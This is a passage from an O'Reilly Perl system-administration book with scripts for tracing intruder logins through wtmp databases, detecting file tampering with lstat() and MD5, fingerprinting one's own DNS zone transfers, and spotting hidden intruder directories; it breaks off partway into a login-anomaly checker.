There are at least two ways to make use of databases from Perl. The first is one I'll call a "Perl-only" method. With this method, all of the database activity takes place in Perl, or libraries tightly coupled to Perl. The second way uses Perl modules like the DBI family to make Perl a client of another database like MySQL, Oracle, or MS-SQL. Let's use both of these approaches for log processing and analysis.

9.5.4.1. Using Perl-only databases

As long as the data set is not too large, we can probably stick to a Perl-only solution. We'll extend our ubiquitous breach-finder for an example. So far our code just dealt with connections on a single machine. If we wanted to find out about logins from intruders on any of our machines, how would we do it?

Our first step is to drop all of the wtmp data for our machines into a database of some sort. For the purpose of this example, assume that all of the machines in question have direct access to some shared directory via some network file system like NFS. Before we proceed, we need to choose a database format.

My "Perl database format" of choice is the Berkeley DB format. I use quotes around "Perl database format" because, while the support for DB is shipped with the Perl sources, the actually DB libraries must be procured from another source (http://www.sleepycat.com) and installed before the Perl support can be built. Table 9-4 provides a comparison between the different supported database formats.

Table 9.4. Comparison of the Supported Perl Database Formats

Name | Unix Support | NT/2000 Support | Mac Support | Key or Value Size Limits | Byte-Order Independent
"old" dbm | Yes | No | No | 1K | No
"new" dbm | Yes | No | Yes | 4K | No
Sdbm | Yes | Yes | No | 1K (default) | No
Gdbm | Yes [7] | Yes [8] | No | None | No
DB | Yes a | Yes a | Yes | None | Yes

[7]Actual database libraries may have to be downloaded separately.

[8]Database library and Perl module must be downloaded from the net (http://www.roth.net).

I like the Berkeley-DB format because it can handle larger data sets and is byte-order independent. The byte-order independence is particularly important for the Perl code we're about to see, since we'll want to read and write to the same file from different machines which may have different architectures.

We'll start off by populating the database. For the sake of simplicity and portability, we're calling the last program to avoid having to unpack( ) several different wtmp files ourselves. Here's the code, with an explanation to follow:

use DB_File;
use FreezeThaw qw(freeze thaw);
use Sys::Hostname; # to get the current hostname

use Fcntl;         # for the definition of O_CREAT and O_RDWR

# find the executable for the last program
(-x "/bin/last" and $lastex = "/bin/last") or
  (-x "/usr/ucb/last" and $lastex = "/usr/ucb/last");

$userdb    = "userdata";     # user database file
$connectdb = "connectdata";  # connection database file
$thishost  = &hostname;

open(LAST,"$lastex|") or
    die "Can't run the program $lastex:$!\n";

# read each line of the output from "last"
while (<LAST>){
    next if /^reboot\s/ or /^shutdown\s/ or
           /^ftp\s/     or /^wtmp\s/;
    ($user,$tty,$host,$day,$mon,$date,$time) = split;
    next if $tty =~ /^:0/ or $tty =~ /^console$/;
    next if (length($host) < 4);
    $when = $mon." ".$date." ".$time;

    # save each record in a hash of list of lists
    push(@{$users{$user}},[$thishost,$host,$when]);
    push(@{$connects{$host}},[$thishost,$user,$when]);
}

close(LAST);

# tie to a database file, creating it (for Read & Write); if
# it does not exist see the footnote in the text re: $DB_BTREE
tie %userdb, "DB_File",$userdb,O_CREAT|O_RDWR, 0600, $DB_BTREE
  or die "Unable to open $userdb database for r/w:$!\n";

# iterate through the users and store the info in our
# database using freeze
foreach $user (keys %users){
    if (exists $userdb{$user}){
           ($userinfo) = thaw($userdb{$user});
        push(@{$userinfo},@{$users{$user}});
        $userdb{$user}=freeze $userinfo;
    }
    else {
        $userdb{$user}=freeze $users{$user};
    }
}
untie %userdb;

# do the same for the connections
tie %connectdb, "DB_File",$connectdb,O_CREAT|O_RDWR,
                0600, $DB_BTREE
  or die "Unable to open $connectdb database for r/w:$!\n";
foreach $connect (keys %connects){
    if (exists $connectdb{$connect}){
        ($connectinfo) = thaw($connectdb{$connect});
        push(@{$connectinfo},@{$connects{$connect}});
        $connectdb{$connect}=freeze($connectinfo);
    }
    else {
        $connectdb{$connect}=freeze($connects{$connect});
    }
}
untie %connectdb;

Our code takes the output from the last program and does the following:

  1. Filters out the lines that are not useful.

  2. Squirrels away the output in two hash of list of lists data structures that look like this:

    $users{username} =
    [[current host, connecting host, connect time],
     [current host, connecting host, connect time]
     ...
    ];
$connects{host} =
    [[current host, username1, connect time],
     [current host, username2, connect time],
     ...
    ];

  3. Takes this data structure in memory and attempts to merge it into a database.

This last step is the most interesting, so let's explore it more carefully. We tie the hashes %userdb and %connectdb to database files.[9] This magic allows us to access those hashes transparently, while Perl handles storing and retrieving data to the database files behind the scenes. But hashes only store simple strings. How do we get our "hashes of list of lists" into a single hash value for storage?

[9]You don't usually have to use the BTREE form of storage when using DB_File, but this program can store some very long values. Those values caused the Version 1.85 DB_HASH storage method to croak in testing (causing corrupted data), while the BTREE storage method seemed to handle the pounding. Later versions of the DB libraries may not have this bug.

Ilya Zakharevich's FreezeThaw module is used to store our complex data structure in a single scalar that can be used as a hash value. FreezeThaw can take an arbitrary Perl data structure and encode it as a string. There are other modules like this, Data::Dumper by Gurusamy Sarathy (shipped with Perl) and Storable by Raphael Manfredi being the most prevalent. FreezeThaw offers the most compact representation of a complex data structure, hence its use here. Each of these modules has its strong points, so be sure to investigate all three if you have a task like ours.

In our program we check if an entry for this user or host exists. If it doesn't, we simply "freeze" the data structure into a string and store that string in the database using our tied hash. If it does exist, we "thaw" the existing data structure found in the database back into memory, add our data, then re-freeze and re-store it.

If we run this code on several machines, we'll have a database with some potentially useful information to feed to the next version of our breach-finder program.

TIP

An excellent time to populate a database like this is just after a log rotation of a wtmp file has taken place.

The database population code presented here is too bare-bones for production use. One glaring deficiency is the lack of a mechanism to prevent multiple instances of the program from updating the database at the same time. Given that file locking over NFS is known to be dicey at best, it might be easier to call code like this from a larger program that serializes the process of collecting information from each machine in turn.

Now that we have a database full of data, let's walk through our new improved breach-finder program that uses this information:

use DB_File;
use FreezeThaw qw(freeze thaw);
use Fcntl;

# accept the username and hosts to ignore as command-line arguments
($user,$ignore) = @ARGV;

# database files we'll be using
$userdb    ="userdata";
$connectdb ="connectdata";

tie %userdb, "DB_File",$userdb,O_RDONLY,666,$DB_BTREE
  or die "Unable to open $userdb database for reading:$!\n";
tie %connectdb, "DB_File",$connectdb,O_RDONLY,666,$DB_BTREE
  or die "Unable to open $connectdb database
          for reading:$!\n";

We've loaded the modules we need, taken our input, set a few variables, and tied them to our database files. Now it's time to do some work:

# we can exit if we've never seen a connect from this user
unless (exists $userdb{$user}){
    print "No logins from that user.\n";
    untie %userdb;
    untie %connectdb;
    exit;
}

($userinfo) = thaw($userdb{$user});

print "-- first host contacts from $user --\n";
foreach $contact (@{$userinfo}){
    next if (defined $ignore and $contact->[1] =~ /$ignore/o);
    print $contact->[1] . " -> " . $contact->[0] .
          " on ".$contact->[2]."\n";
    $otherhosts{$contact->[1]}='';
}

This code says: if we've seen this user at all, we reconstitute that user's contact records in memory using thaw( ). For each contact, we test to see if we've been asked to ignore the host it came from. If not, we print a line for that contact and record the originating host in the %otherhosts hash.

We use a hash here as a simple way of collecting the unique list of hosts from all of the contact records. Now that we have the list of hosts the intruder may have connected from, we need to find out all of the other users who have connected from these potentially compromising hosts.

Finding this information will be easy because when we recorded which users logged in to which machines, we also recorded the inverse (i.e., which machines were logged into by which users) in another database file. We now look at all of the records from the hosts we identified in the previous step. If we are not told to ignore a host, and we have connection records for it, we capture a unique list of users who have logged into that host using the %userseen hash:

print "-- other connects from source machines  --\n";
foreach $host (keys %otherhosts){
    next if (defined $ignore and $host =~ /$ignore/o);
    next unless (exists $connectdb{$host});

    ($connectinfo) = thaw($connectdb{$host});

    foreach $connect (@{$connectinfo}){
        next if (defined $ignore and $connect->[0] =~ /$ignore/o);
        $userseen{$connect->[1]}='';
    }
}

The final act of this three-step drama has a nice circular flair. We return to our original user database to find all of the connections made by suspect users from suspect machines:

foreach $user (sort keys %userseen){
    next unless (exists $userdb{$user});

    ($userinfo) = thaw($userdb{$user});

    foreach $contact (@{$userinfo}){
        next if (defined $ignore and $contact->[1] =~ /$ignore/o);
        write if (exists $otherhosts{$contact->[1]});
    }
}

All that's left is to sweep up the theater and go home:

untie %userdb;
untie %connectdb;

format STDOUT =
@<<<<<<<< @<<<<<<<<<<<<<<< -> @<<<<<<<<<<<<<<< on @<<<<<<<<<<<
$user.":",$contact->[1],$contact->[0],$contact->[2]
.

Here's some example output from the program (again, with the user and hostnames changed to protect the innocent):

-- first host contacts from baduser --
badhost1.exampl -> machine1.ccs.neu.edu on Jan 18 09:55
badhost2.exampl -> machine2.ccs.neu.edu on Jan 19 11:53
-- other connects from source machines  --
baduser2:  badhost1.exampl -> machine2.ccs.neu.e on Dec 15 13:26
baduser2:  badhost2.exampl -> machine2.ccs.neu.e on Dec 11 12:45
baduser3:  badhost1.exampl -> machine1.ccs.neu.ed on Jul 13 16:20
baduser4:  badhost1.exampl -> machine1.ccs.neu.ed on Jun 9 11:53
baduser:   badhost1.exampl -> machine1.ccs.neu.ed on Jan 18 09:55
baduser:   badhost2.exampl -> machine2.ccs.neu.e on Jan 19 11:53

This is a lovely example program, but it doesn't really scale past a small cluster of machines. For every subsequent run of the program, it may have to read a record from the database, thaw( ) it back into memory, add some new data to the record, freeze( ) it again, and store it back in the database. This can be CPU-time-and memory-intensive. The whole process potentially happens once per user and machine connection, so things slow down very quickly.

9.5.4.2. Using Perl-cliented SQL databases

Let's look at one way you might deal with very large datasets. You may need to load your data into a more sophisticated SQL database (commercial or otherwise) and query the information you need from it using SQL. If you're not familiar with SQL, I recommend you take a quick peek at Appendix D, "The Fifteen-Minute SQL Tutorial", before looking at this section.

Populating the database could look like this:

use DBI;
use Sys::Hostname;

$db = "dnb"; # the name of the database we're using

# locate the last executable
(-x "/bin/last" and $lastex = "/bin/last") or
  (-x "/usr/ucb/last" and $lastex = "/usr/ucb/last");

# connect to a Sybase database using user "dnb" and a password
# provided on the command line
$dbh = DBI->connect('dbi:Sybase:','dnb',$ARGV[0]);
die "Unable to connect: $DBI::errstr\n"
  unless (defined $dbh);

# change to the database we'll be using
$dbh->do("use $db") or
  die "Unable to change to $db: ".$dbh->errstr."\n";

# create the lastinfo table if it doesn't exist
unless ($dbh->selectrow_array(
          q{SELECT name from sysobjects WHERE name="lastinfo"})){
          $dbh->do(q{create table lastinfo (username char(8),
                                            localhost char(40),
                                            otherhost varchar(75),
                                            when char(18))}) or
      die "Unable to create lastinfo: ".$dbh->errstr."\n";
}

$thishost  = &hostname;

$sth = $dbh->prepare(
  qq{INSERT INTO lastinfo(username,localhost,otherhost,when)
   VALUES (?,'$thishost', ?, ?)}) or
  die "Unable to prepare insert: ".$dbh->errstr."\n";

open(LAST,"$lastex|") or die "Can't run the program $lastex:$!\n";

while (<LAST>){
    next if /^reboot\s/ or /^shutdown\s/ or
            /^ftp\s/    or /^wtmp\s/;
    ($user,$tty,$host,$day,$mon,$date,$time) = split;
    next if $tty =~ /^:0/ or $tty =~ /^console$/;
    next if (length($host) < 4);
    $when = $mon." ".$date." ".$time;

    $sth->execute($user,$host,$when);
}

close(LAST);
$dbh->disconnect;

This creates a table called lastinfo with username, localhost, otherhost, and when columns. We iterate over the output of last, inserting non-bogus entries into this table.

Now we can use databases to do what they do so well. Here is a set of sample SQL queries that could easily be wrapped in Perl using the DBI or ODBC interfaces we explored in Chapter 7, "SQL Database Administration":

-- how many entries in the database?
select count (*) from lastinfo;

 -----------
       10068
-- how many users have logged in?
select count (distinct username) from lastinfo;

 -----------
         237

-- how many separate hosts have connected to our machines?
select count (distinct otherhost) from lastinfo;

 -----------
        1000

-- which local hosts has the user "dnb" logged into?
select distinct localhost from lastinfo where username = "dnb";
 localhost
 ----------------------------------------
 host1
 host2

These examples should give you a taste of the sort of "data mining" you can do once all of the data is in a real database. Each of those queries took only a second or so to run. Databases can be fast, powerful tools for system administration.

The subject of log analysis is a vast one. Hopefully this chapter has given you a few tools and a little inspiration.

Previous | Home | Next
9.4. Disk Space Problems | Book Index | 9.6. Module Information for This Chapter
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Module Information for This Chapter (Perl for System Administration)

 Perl for System AdministrationSearch this book

9.6. Module Information for This Chapter

Modules | CPAN ID | Version
Win32::EventLog (ships with ActivePerl) |  | 0.062
Logfile::Rotate | PAULG | 1.03
Getopt::Long (ships with Perl) |  | 2.20
Time::Local (ships with Perl) |  | 1.01
SyslogScan | RHNELSON | 0.32
DB_File (ships with Perl) | PMQS | 1.72
FreezeThaw | ILYAZ | 0.3
Sys::Hostname (ships with Perl) |  |
Fcntl (ships with Perl) |  | 1.03
DBI | TIMB | 1.13
Previous | Home | Next
9.5. Log Analysis | Book Index | 9.7. References for More Information
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


References for More Information (Perl for System Administration)

 Perl for System AdministrationSearch this book

9.7. References for More Information

Essential System Administration, (2nd Edition), by &#198;leen Frisch (O'Reilly, 1995) has a good, short intro to syslog.

http://www.heysoft.de/index.htm is the home of Frank Heyne software, a provider of Win32 Event Log-parsing software. Also has a good Event Log FAQ list.

http://www.le-berre.com/is Philippe Le Berre's home page, and contains an excellent write-up on the use of Win32::EventLog and other Win32 packages.

"Managing NT Event Logs with Perl for Win32," Bob Wells, Windows NT Magazine, February/March 1998.

Practical Unix & Internet Security, (2nd Edition), by Simson Garfinkel and Gene Spafford (O'Reilly, 1996). Another good (and slightly more detailed) intro to syslog, also includes tcpwrappers information.

Windows NT Event Logging, by James D. Murray (O'Reilly, 1998).

Previous | Home | Next
9.6. Module Information for This Chapter | Book Index | 10. Security and Network Monitoring
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Security and Network Monitoring (Perl for System Administration)

 Perl for System AdministrationSearch this book

Chapter 10. Security and Network Monitoring

Contents:

Noticing Unexpected or Unauthorized Changes
Noticing Suspicious Activities
SNMP
Danger on the Wire
Preventing Suspicious Activities
Module Information for This Chapter
References for More Information

Any discussion of security is fraught with peril. There are at least three snares that can doom a discussion on security:

  1. Security means different things to different people. If you walked into a conference of Greco-Roman scholars and asked about Rome, the first scholar would rise dramatically to her feet and begin to lecture about aqueducts (infrastructure and delivery), the second Pax Romana (ideology and policies), a third would expound on the Roman legions (enforcement), a fourth on the Roman Senate (administration), and so on. The need to deal with every facet of security at once is security's first trap.

  2. People think that something can be secure, be it a program, a computer, a network, etc. This chapter will never claim to show you how to make anything secure; it will try to help you make something more secure, or at least recognize when something is less secure. Security is a continuum.

  3. Finally, one of the most deadly traps in this business is specificity. It is true that the deity of security is often in the details, but it is an ever-shifting set of details. Patching security holes A, B, and C on your system only guarantees (and perhaps not even) that those particular holes will not be a source of trouble. It does nothing to help when hole D is found. That's why this chapter will focus on principles and tools for improving security. It will not tell you how to fix any particular buffer overflow, vulnerable registry key, or world-writable system file.

One good way to get into a discussion of these principles is to examine how security manifests itself in the physical world. In both the real and virtual worlds, it all comes down to fear. Will something I care about be damaged, lost, or revealed? Is there something I can do to prevent this from happening? Is it happening right now?

If we look at how this fear is faced in the physical world, we can learn ways to deal with it in our domain as well. One way we deal with this fear is to invent stronger ways of partitioning space. With physical space we use constructs like bank vaults; with intellectual space we use data-hiding methods like "top secret clearance" or encryption. But this is a never-ending pursuit. For every hour spent designing a security system, there is at least an hour spent looking for a way to evade it. In our case, there are also hordes of bored teenagers with computers and disgruntled former employees looking for something to do with excess energy.

A slightly better approach to improving security that has persisted over the ages is the use of a designated person to allay these fears. Once upon a time, there was nothing so comforting as the sound of the night watchman's footsteps as he or she walked through the town, jiggling doors handles to make sure everything was locked and secure. We'll use this quaint image as the jump point for our exploration into security and network monitoring with Perl.

10.1. Noticing Unexpected or Unauthorized Changes

A good watchman notices change. He or she knows when things are in the wrong place in your environment. If your precious Maltese falcon gets replaced with a forgery, the watchman is the first person that should notice. Similarly, if someone modifies or replaces key files on your system, you want sirens to blare and klaxons to sound. More often than not, the change will be harmless. But the first time someone breaches your security and mucks with /bin/login, msgina.dll, or Finder, you'll be so glad you noticed that you will excuse any prior false alarms.

10.1.1. Local Filesystem Changes

Filesystems are an excellent place to begin our exploration into change-checking programs. We're going to explore ways to check if important files like operating system binaries and security-related files (e.g., /etc/passwd or msgina.dll ) have changed. Changes to these files made without the knowledge of the administrator are often signs of an intruder. There are some relatively sophisticated cracker toolkits available on the Net that do a very good job of installing Trojan versions of important files and covering up their tracks. That's the most malevolent kind of change we can detect. On the other end of the spectrum, sometimes it is just nice to know when important files have been changed (especially in environments where multiple people administer the same systems). The techniques we're about to explore will work equally well in both cases.

The easiest way to tell if a file has changed is to use the Perl functions stat( ) and lstat( ). These functions take a filename or a filehandle and return an array with information about that file. The only difference between the two functions manifests itself on operating systems like Unix that support symbolic links. In these cases lstat( ) is used to return information about the target of a symbolic link instead of the link itself. On all other operating systems the information returned by lstat( ) should be the same as that returned by stat( ).

Using stat( ) or lstat( ) is easy:

@information = stat("filename");

As demonstrated in Chapter 3, "User Accounts", we can also use Tom Christiansen's File::Stat module to provide this information using an object-oriented syntax.

The information returned by stat( ) or lstat( ) is operating-system-dependent. stat( ) and lstat( ) began as Unix system calls, so the Perl documentation for these calls is skewed towards the return values for Unix systems. Table 10-1 shows how these values compare to those returned by stat( ) on Windows NT/2000 and MacOS. The first two columns show the Unix field number and description.

Table 10.1. stat() Return Value Comparison

# | Unix Field Description | Valid for NT/2000 | Valid for MacOS
0 | Device number of filesystem | Yes (drive #) | Yes (but is vRefNum)
1 | Inode number | No (always 0) | Yes (but is fileID/dirID)
2 | File mode (type and permissions) | Yes | Yes (but is 777 for dirs and applications, 666 for unlocked documents, 444 for locked documents)
3 | Number of (hard) links to the file | Yes (for NTFS) | No (always 1)
4 | Numeric user ID of file's owner | No (always 0) | No (always 0)
5 | Numeric group ID of file's owner | No (always 0) | No (always 0)
6 | The device identifier (special files only) | Yes (drive #) | No (always null)
7 | Total size of file, in bytes | Yes (but does not include the size of any alternate data streams) | Yes (but returns size of data fork only)
8 | Last access time since the epoch | Yes | Yes (but epoch is 66 years earlier than Unix, at 1/1/1904, and value is same as field #9)[1]
9 | Last modify time since the epoch | Yes | Yes (but epoch is 1/1/1904 and value is same as field #8)
10 | Inode change time since the epoch | Yes (but is file creation time) | Yes (but epoch is 1/1/1904 and is file creation time)
11 | Preferred block size for filesystem I/O | No (always null) | Yes
12 | Actual number of blocks allocated | No (always null) | Yes

[1]Also, MacOS epoch is counted from local time, not Universal Time Coordinated (UTC). So if the clocks in two MacOS computers are synchronized, but one has a time zone setting (TZ) of -0800 and the other has a TZ of -0500, the values for time( )on these computers will be three hours apart.

In addition to stat( ) and lstat( ), other non-Unix versions of Perl have special functions to return attributes of a file that are peculiar to that OS. See Chapter 2, "Filesystems", for discussions of functions like MacPerl::GetFileInfo( ) and Win32::FileSecurity::Get( ).

Once you have queried the stat( )ish values for a file, the next step is to compare the "interesting" values against a known set of values for that file. If the values changed, something about the file must have changed. Here's a program that both generates a string of lstat( ) values and checks files against a known set of those values. We intentionally exclude field #8 from the above table (last access time) because it changes every time a file is read.

This program takes either a -p filename argument to print lstat( ) values for a given file or a -c filename argument to check the lstat( ) values all of the files listed in filename.

use Getopt::Std;

# we use this for prettier output later in &printchanged(  )
@statnames = qw(dev ino mode nlink uid gid rdev
                size mtime ctime blksize blocks);

getopt('p:c:');

die "Usage: $0 [-p <filename>|-c <filename>]\n"
  unless ($opt_p or $opt_c);

if ($opt_p){
    die "Unable to stat file $opt_p:$!\n"
      unless (-e $opt_p);
    print $opt_p,"|",join('|',(lstat($opt_p))[0..7,9..12]),"\n";
    exit;
}

if ($opt_c){
    open(CFILE,$opt_c) or
      die "Unable to open check file $opt_c:$!\n";
    while(<CFILE>){
        chomp;
        @savedstats = split('\|');
        die "Wrong number of fields in line beginning with
            $savedstats[0]\n"
          unless ($#savedstats == 12);
        @currentstats = (lstat($savedstats[0]))[0..7,9..12];

        # print the changed fields only if something has changed
        &printchanged(\@savedstats,\@currentstats)
          if ("@savedstats[1..13]" ne "@currentstats");
    }
    close(CFILE);
}

# iterates through attributes lists and prints any changes between
# the two
sub printchanged{
    my($saved,$current)= @_;

    # print the name of the file after popping it off of the array read
    # from the check file
    print shift @{$saved},":\n";

    for (my $i=0; $i < $#{$saved};$i++){
         if ($saved->[$i] ne $current->[$i]){
             print "\t".$statnames[$i]." is now ".$current->[$i];
             print " (should be ".$saved->[$i].")\n";
         }
    }
}

To use this program, we might type checkfile -p /etc/passwd >> checksumfile. checksumfile should then contain a line that looks like this:

/etc/passwd|1792|11427|33060|1|0|0|24959|607|921016509|921016509|8192|2

We would then repeat this step for each file we want to monitor. Then, running the script with checkfile -c checksumfile will show any changes. For instance, if I remove a character from /etc/passwd, this script will complain like this:

/etc/passwd:
        size is now 606 (should be 607)
        mtime is now 921020731 (should be 921016509)
        ctime is now 921020731 (should be 921016509)

There's one quick Perl trick in this code to mention before we move on. The following line demonstrates a quick-and-dirty way of comparing two lists for equality (or lack thereof ):

if ("@savedstats[1..12]" ne "@currentstats");

The contents of the two lists are automatically "stringified" by Perl by concatenating the list elements with a space between them:

join(" ",@savedstats[1..12]))

and then the resulting strings are compared. For short lists where the order and number of the list elements is important, this technique works well. In most other cases, you'll need an iterative or hash solution like the ones documented in the Perl FAQs.

Now that you have file attributes under your belt, I've got bad news for you. Checking to see that a file's attributes have not changed is a good first step, but it doesn't go far enough. It is not difficult to alter a file while keeping attributes like the access and modification times the same. Perl even has a function, utime( ), for changing the access or modification times of a file. Time to pull out the power tools.

Detecting change in data is one of the fortes of a particular set of algorithms known as "message-digest algorithms." Here's how Ron Rivest describes a particular message-digest algorithm called the "RSA Data Security, Inc. MD5 Message-Digest Algorithm" in RFC1321:

The algorithm takes as input a message of arbitrary length and produces as output a 128-bit "fingerprint" or "message digest" of the input. It is conjectured that it is computationally infeasible to produce two messages having the same message digest, or to produce any message having a given prespecified target message digest.

For our purposes this means that if we run MD5 on a file, we'll get a unique fingerprint. If the data in this file were to change in any way, no matter how small, the fingerprint for that file will change. The easiest way to harness this magic from Perl is through the Digest module family and its Digest::MD5 module.

The Digest::MD5 module is easy to use. You create a Digest::MD5 object, add the data to it using the add( ) or addfile( ) methods, and then ask the module to create a digest (fingerprint) for you.

To compute the MD5 fingerprint for a password file on Unix, we could use something like this:

use Digest::MD5 qw(md5);

$md5 = new Digest::MD5;

open(PASSWD,"/etc/passwd") or die "Unable to open passwd:$!\n";
$md5->addfile(PASSWD);
close(PASSWD);

print $md5->hexdigest."\n";

The Digest::MD5 documentation demonstrates that we can string methods together to make the above program more compact:

use Digest::MD5 qw(md5);

open(PASSWD,"/etc/passwd") or die "Unable to open passwd:$!\n";
print Digest::MD5->new->addfile(PASSWD)->hexdigest,"\n";
close(PASSWD);

Both of these code snippets print out:

a6f905e6b45a65a7e03d0809448b501c

If we make even the slightest change to that file, the output changes. Here's the output after I transpose just two characters in the password file:

335679c4c97a3815230a4331a06df3e7

Any change in the data now becomes obvious. Let's extend our previous attribute-checking program to include MD5:

use Getopt::Std;
use Digest::MD5 qw(md5);

@statnames =
 qw(dev ino mode nlink uid gid rdev size mtime ctime blksize blocks md5);

getopt('p:c:');

die "Usage: $0 [-p <filename>|-c <filename>]\n"
  unless ($opt_p or $opt_c);

if ($opt_p){
    die "Unable to stat file $opt_p:$!\n"
      unless (-e $opt_p);

    open(F,$opt_p) or die "Unable to open $opt_p:$!\n";
    $digest = Digest::MD5->new->addfile(F)->hexdigest;
    close(F);

    print $opt_p,"|",join('|',(lstat($opt_p))[0..7,9..12]),
          "|$digest","\n";
    exit;
}

if ($opt_c){
    open(CFILE,$opt_c) or
      die "Unable to open check file $opt_c:$!\n";

    while (<CFILE>){
        chomp;
        @savedstats = split('\|');
        die "Wrong number of fields in \'$savedstats[0]\' line.\n"
          unless ($#savedstats == 13);

        @currentstats = (lstat($savedstats[0]))[0..7,9..12];

        open(F,$savedstats[0]) or die "Unable to open $opt_c:$!\n";
        push(@currentstats,Digest::MD5->new->addfile(F)->hexdigest);
        close(F);

        &printchanged(\@savedstats,\@currentstats)
          if ("@savedstats[1..13]" ne "@currentstats");
    }
    close(CFILE);
}

sub printchanged {
    my($saved,$current)= @_;

    print shift @{$saved},":\n";

    for (my $i=0; $i <= $#{$saved};$i++){
         if ($saved->[$i] ne $current->[$i]){
             print " ".$statnames[$i]." is now ".$current->[$i];
             print " (".$saved->[$i].")\n";
         }
     }
}

10.1.2. Network Service Changes

We've looked at ways to detect change on our local filesystem. How about noticing changes on other machines or in the services they provide? In Chapter 5, "TCP/IP Name Services", we saw ways to query NIS and DNS. It would be easy to check repeated queries to these services for changes. For instance, if our DNS servers are configured to allow this, we can pretend to be a secondary server and request a dump (i.e., a "zone transfer") of that server's data for a particular domain:

use Net::DNS;

# takes two command-line arguments: the first is the name server
# to query, the # second is the domain to query from that name server
$server = new Net::DNS::Resolver;
$server->nameservers($ARGV[0]);

print STDERR "Transfer in progress...";
@zone = $server->axfr($ARGV[1]);
die $server->errorstring unless (defined @zone);
print STDERR "done.\n";

for $record (@zone){
  $record->print;
}

Combine this idea with MD5. Instead of printing the zone information, let's take a digest of it:

use Net::DNS;
use FreezeThaw qw{freeze};
use Digest::MD5 qw(md5);

$server = new Net::DNS::Resolver;
$server->nameservers($ARGV[0]);

print STDERR "Transfer in progress...";
@zone = $server->axfr($ARGV[1]);
die $server->errorstring unless (defined @zone);
print STDERR "done.\n";

$zone = join('',sort map(freeze($_),@zone));

print "MD5 fingerprint for this zone transfer is: ";
print Digest::MD5->new->add($zone)->hexdigest,"\n";

MD5 works on a scalar chunk of data (a message), not a Perl list-of-hashes data structure like @zone. That's where this line of code comes into play:

$zone = join('',sort map(freeze($_),@zone));

We're using the FreezeThaw module we saw in Chapter 9, "Log Files", to flatten each @zone record data structure into a plain text string. Once flattened, the records are sorted before being concatenated into one large scalar value. The sort step allows us to ignore the order in which the records are returned in the zone transfer.

Dumping the contents of an entire server's zone file is a bit extreme, especially for large zones, so it may make more sense to monitor only an important subset of addresses. See Chapter 5, "TCP/IP Name Services" for an example of this. Also, it is a good idea to restrict the ability to do zone transfers to as few machines as possible for security reasons.

The material we've seen so far doesn't get you completely out of the woods. Here are a few questions you might want to ponder:

  • What if someone tampers with your database of MD5 digests and substitutes valid fingerprints for their Trojan file replacements or service changes?

  • What if someone tampers with your script so it only appears to check the digests against your database?

  • What if someone tampers with the MD5 module on your system?

  • For the ultimate in paranoia, what if someone manages to tamper with the Perl executable, one of its shared libraries, or the operating system core itself?

The usual answers to these questions (poor as they may be) involve keeping known good copies of everything related to the process (digest databases, modules, statically-linked Perl, etc.) on read-only medium.

This conundrum is another illustration of the continuum of security. It is always possible to find more to fear.

Previous | Home | Next
9.7. References for More Information | Book Index | 10.2. Noticing Suspicious Activities
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Noticing Suspicious Activities (Perl for System Administration)

 Perl for System AdministrationSearch this book

10.2. Noticing Suspicious Activities

A good night watchman needs more than just the ability to monitor for change. She or he also needs to be able to spot suspicious activities and circumstances. A hole in the perimeter fence or unexplained bumps in the night need to be brought to someone's attention. We can write programs to play this role.

10.2.1. Local Signs of Peril

It's unfortunate, but learning to be good at spotting signs of suspicious activity often comes as a result of pain and the desire to avoid it in the future. After the first few security breaches, you'll start to notice that intruders often follow certain patterns and leave behind telltale clues. Spotting these signs, once you know what they are, is often easy in Perl.

TIP

After each security breach, it is vitally important that you take a few moments to perform a postmortem of the incident. Document (to the best of your knowledge) where the intruders came in, what tools or holes they used, what they did, who else they attacked, what you did in response, and so on.

It is tempting to return to normal daily life and forget the break-in. If you can resist this temptation, you'll find later that you've gained something from the incident, rather than just losing time and effort. The Nietzchean principle of "that which does not kill you makes you stronger" is often applicable in the system administration realm as well.

For instance, intruders, especially the less-sophisticated kind, often try to hide their activities by creating "hidden" directories to store their data. On Unix and Linux systems they will put exploit code and sniffer output in directories with names like "..." (dot dot dot), ". " (dot space), or " Mail" (space Mail). These names are likely to be passed over in a cursory inspection of ls output.

We can easily write a program to search for these names using the tools we learned about in Chapter 2, "Filesystems". Here's a program based on the File::Find module (as called by find.pl ) which looks for anomalous directory names.

require "find.pl";

# Traverse desired filesystems

&find('.');

sub wanted {

   (-d $_) and                           # is a directory
     $_ ne "." and $_ ne ".." and        # is not . or ..

      (/[^-.a-zA-Z0-9+,:;_~$#(  )]/ or     # contains a "bad" character
       /^\.{3,}/ or                      # or starts with at least 3 dots
       /^-/) and                         # or begins with a dash

       print "'".&nice($name)."'\n";
}

# print a "nice" version of the directory name, i.e., with control chars
# explicated. This subroutine barely modified from &unctrl(  ) in Perl's
# stock dumpvar.pl
sub nice {
    my($name) = $_[0];
    $name =~ s/([\001-\037\177])/'^'.pack('c',ord($1)^64)/eg;

    $name;
}

Remember the sidebar "Regular Expressions" in Chapter 9, "Log Files"? Filesystem sifting programs like these are another example where this holds true. The effectiveness of these programs often hinges on the quality and quantity of their regular expressions. Too few regexps and you miss things you might want to catch. Too many regexps or regexps that are inefficient gives your program an exorbitant runtime and resource usage. If you use regexps that are too loose, the program will generate many false positives. It is a delicate balance.

10.2.2. Finding Problematic Patterns

Let's use some of the things we learned in Chapter 9, "Log Files" to move us along in our discussion. We've just talked about looking for suspicious objects; now let's move on to looking for patterns that may indicate suspicious activity. We can demonstrate this with a program that does some primitive logfile analysis to determine potential break-ins.

This example is based on the following premise: most users logging in remotely do so consistently from the same place or a small list of places. They usually log in remotely from a single machine, or from the same ISP modem bank each time. If you find an account that has logged in from more than a handful of domains, it's a good indicator that this account has been compromised and the password has been widely distributed. Obviously this premise does not hold for populations of highly mobile users, but if you find an account that has been logged into from Brazil and Finland in the same two-hour period, that's a pretty good indicator that something is fishy.

Let's walk through some code that looks for this indicator. This code is Unix-centric, but the techniques demonstrated in it are platform independent. First, here's our built-in documentation. It's not a bad idea to put something like this near the top of your program for the sake of other people who will read your code. Before we move on, be sure to take a quick look at the arguments the rest of the program will support:

sub usage {
    print <<"EOU"
lastcheck - check the output of the last command on a machine
            to determine if any user has logged in from > N domains
            (inspired by an idea from Daniel Rinehart)

   USAGE:  lastcheck [args], where args can be any of:
    -i:           for IP #'s, treat class C subnets as the same "domain"
    -h:           this help message
